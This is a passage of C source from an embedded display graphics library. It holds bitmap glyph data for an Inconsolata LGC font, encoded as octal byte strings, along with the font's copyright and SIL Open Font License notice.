"\3\0\0\0\0\0\0\0\0\340\370\177\17\1\0\0\0\0\0\0\0\0\0\0\3\3\3\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340```\340\300\300\200\0\0\0\0\0\17\77\277\360\340@\300\340\361\77" "\37\6\0\0\0|\376\377\301\200\0\0\0\0\201\303\377~\20\0\0\0\0\1\1\3\3\3\3\3\3\1" "\0\0\0\0\0\0\0\200\300\300\340```\340\300\200\0\0\0\0\0>\377\377\301\200\0\0\0\200\201" "\377\377\374\0\0\0\0\200\201\203\3\3\3\203\201\341\377\77\17\0\0\0\0\1\1\3\3\3\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60xx\60\0\0" "\0\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\1\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--44-440-72-72-P-201-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 191/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inr33_3x6_f[32260] U8X8_FONT_SECTION("u8x8_font_inr33_3x6_f") = " \377\3\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\7\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77" "\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\360\360\340\0\0\0\0\0\340\360\360\340\0\0\0\0\0\0\0\0\0" "\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0" "\0\0\0\0\300\300\300@\0\0\0\0\0\200\200\200\200\200\200\377\377\377\201\200\200\200\200\300\377\377\377\200" "\200\200\200\0\0\1\1\1\1\1\377\377\377\1\1\1\1\1\301\377\377\177\1\1\1\1\1\0\14\14\14\14" "\14\374\377\377\17\14\14\14\14\214\377\377\177\14\14\14\14\14\0\0\0\0\0\0\34\37\37\3\0\0\0\0" "\0\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370" "\374\376\17\7\7\7\377\377\377\7\7\7\17\36>\34\10\0\0\0\0\0\1\7\17\37\36<\374\370\340\0\0 \70>\37\7\3\0\0\0\0\0" "\3\17\37<\70\70\70<\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0|" "\377\377\377\3\3\1\1\3\207\377\377\376x\0\0\0\0\0\0\0\0\0\0\200\301\347\357\177|\370\374\336" "\217\7\3\1\0\0\0\200\0\0\0\0\370\376\377\377\7\1\0\0\0\0\3\7\37\77\374\370\360\360\370\177" "\37\16\2\0\1\7\17\37\36<<\70\70\70<\34\36\17\17\7\3\7\37\77\36\30\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\340\340\360p\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\370\376\77\37\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\377\377\377\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\177\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\3\7\17\37\36\374x`\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\0\0\0\0\0\0" "\0\0\0\0\0ppppppppp\377\377\377\377pppppppp\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<~\376\376\374p\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0 x<\37\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\360\340 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\376\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\300\360\374\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\370\376\77\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\370" "\374\376\37\17\7\3\1\1\1\3\3\207\377\376\374\360\300\0\0\0\0\376\377\377\377\0\0\0\0\300\340\360" "x\36\17\7\1\1\377\377\377\374\0\0\0\7\177\377\377\370\374\36\17\7\1\0\0\0\0\0\200\360\377\377" "\77\3\0\0\0\0\0\1\3\7\17\37\36<\70\70\70<\34\37\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\14\16\16\17\7\7\7\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\16" "\37\17\7\3\3\1\1\1\1\3\3\7\37\377\376\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\300\340\360\374\77\37\17\1\0\0\0\0\0\0\0\200\300\340\360\370<\36\17\7\3\1\1\0\0\0\0" "\0\0\0\0\0\0\70>\77\77;\71\70\70\70\70\70\70\70\70\70\70\70\70<\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\2\7\7\3\3\1\1\1\1\1\3\7\17\377\376\374p" "\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70x||\376\357\347\307\201\0\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\201\377\377\377\376\0\0\0\0\0\0\4\17\37\36\34<\70\70\70\70" "<<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\200\300\360\370>\17\377\377\377\377\0\0\0\0\0\0\0\0\0\200\340\360|>\17\7\1\0" "\0\0\377\377\377\377\0\0\0\0\0\0\0\34\37\37\37\35\34\34\34\34\34\34\34\34\377\377\377\377\34\34" "\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0\0\77\177\77\77\34\16\16\16\16\16\36\36<\374\370\360\340\0\0\0\0\0\0\0\0" "\200\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\177\0\0\0\0\0\3\7\17\36\36\34<\70\70\70" "<<\34\36\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\340" "\370\374~\37\7\3\3\1\1\1\1\3\3\7\3\3\0\0\0\0\0\0\377\377\377\377p\70\34\36\16\16" "\16\16\36>|\370\360\340\200\0\0\0\0\0\37\377\377\377\300\0\0\0\0\0\0\0\0\0\200\377\377\377" "\177\0\0\0\0\0\0\0\3\7\17\37\36<\70\70\70<<\36\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\301\361\377\377\77\7\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\376\377\77\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60>\77\77\17\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\360" "\374\376\377\17\3\3\1\1\1\1\3\3\17\377\377\374x\0\0\0\0\0\0\0\3\207\317\377\376|\70\70" "px\374\376\317\317\207\1\0\0\0\0\0\0\370\376\377\377\3\1\0\0\0\0\0\0\0\0\1\207\377\377" "\376\370\0\0\0\0\0\3\7\17\37\36<<\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\200\200\0\0\0\0\0\0\0\0\0\0\340\374\376\377\17\7\3\3\1\1\1\3\3\17\37\376\374\360" "\200\0\0\0\0\0\17\77\177\377\360\340\300\300\200\200\200\300\300\340p\377\377\377\377\0\0\0\0\0\0\0" "\0\0\1\1\3\3\3\3\3\3\1\0\340\377\377\177\17\0\0\0\0\0\0\14\36\36\34<\70\70\70\70" "<\34\36\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77" "\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34>>\376" "\376\374x\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60\70\36\17\7\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\200\300\300\340\340\360px<<\36\36\0\0p\360\370\374\334\236\216\17\7\7\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\7\17\16\36<\70xp\360\340\340\300\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\17\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\34\34\34" "\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<\70xp" "\360\340\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7" "\16\16\34<\270\370\360\360\340\340\0\0\0\0\200\200\300\300\340\360\360x\70<\34\36\17\7\7\3\3\1" "\0\0\0\0\17\17\7\7\3\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360\360pp" "p\360\360\340\340\300\200\0\0\0\0\0\0\0\3\7\7\3\1\0\0\0\0\0\0\0\0\1\203\377\377\377" "x\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\374>\37\17\7\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\77\77" "\77\77\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374" ">\37\17\7\3\3\201\201\201\301\301\303\303\307\317\376\374\370\300\0\376\377\377\1\0\0\0\370\376\377\377\17" "\3\3\1\1\1\1\201\377\377\377\377\0\7\77\377\374\340\200\0\1\3\7\17\37\36\34\34\34\16\16\7\37" "\37\37\37\0\0\0\0\1\3\7\17\36\36\34<\70\70\70\70\70<\34\34\36\10\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\77\377\374\340\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\177\17\1\0\0\7\77\377\374\360\200\0\0\0\0\0\0\0\200\360\374" "\377\77\37\34\34\34\34\34\34\34\34\37\177\377\374\360\200\0\0\0<\77\77\17\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\17\77\77<\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\377\374\360\0\0\0\0\377\377\377\377\70\70\70\70\70\70\70" "\70x|\376\357\357\307\203\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\1\203\377\377" "\377x\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\200\200\200\0\0\0\0\0\0\0\340\360\374\376\77\17\7\3\3\1\1\1\1\3\3\7\17\37>" "\34\30\0\0\376\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\177\377\377" "\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\1\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\3\3\7\17\77\376\374\360\300\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\377\377\374\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377" "\77\3\0\0\0\77\77\77\77\70\70\70\70\70\70<<\34\36\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\300\300\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\377\377\377\377ppppppppppppp\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70" "\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0\377\377" "\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0\0\377\377\377\377\70\70\70\70\70\70" "\70\70\70\70\70\70\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\1\3\3\7\17\37\36" "\14\0\0\0\376\377\377\377\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\0\0\17\177\377\377" "\360\300\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\0\0\0\0\1\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\37\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377ppppppp" "ppppp\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77" "\77\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0" "\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\177\0\0\0" "\0\0\0\0\0\4\17\36\36<\70\70\70\70<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300@\0\0\0\377\377\377\377\0\0\0\0\200\300\340\360\370|>\17\7\3\1" "\0\0\0\0\0\377\377\377\377\360x<\376\377\367\303\201\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\1\7\17\77~\374\360\340\300\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\1\3\17\37\77>\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300\0\0\377\377\377\377\376\370\340\200\0\0\0\0\0\0\200\340\370~\377\377" "\377\377\0\0\377\377\377\377\0\3\17\77\376\370\340\360\374\177\37\7\1\0\377\377\377\377\0\0\377\377\377\377" "\0\0\0\0\0\3\7\3\0\0\0\0\0\0\377\377\377\377\0\0\77\77\77\77\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\377\377\377" "\377\77\376\370\340\300\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\3\17\37\177\374" "\360\300\200\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\1\7\37\77\376\370\340\377\377" "\377\377\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377" "\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\376\374\360\0\0\0\0\377\377\377\377\340\340\340\340\340\340\340" "\340\340\360x|\77\77\17\3\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\376\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\17\177\377\377" "\360\200\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\7\17\17\37<<\70\370\370" "\370\70<<\36\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\36\36\34\34\34\34\34" "\34\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\376\374\360\0\0\0\0\377\377\377\377\340\340\340\340\340\340\340" "\340\340\360\370|\77\37\17\3\0\0\0\0\377\377\377\377\0\0\0\0\0\0\1\7\37\177\374\360\300\0\0" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\1\17\77\77>\70 \0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" 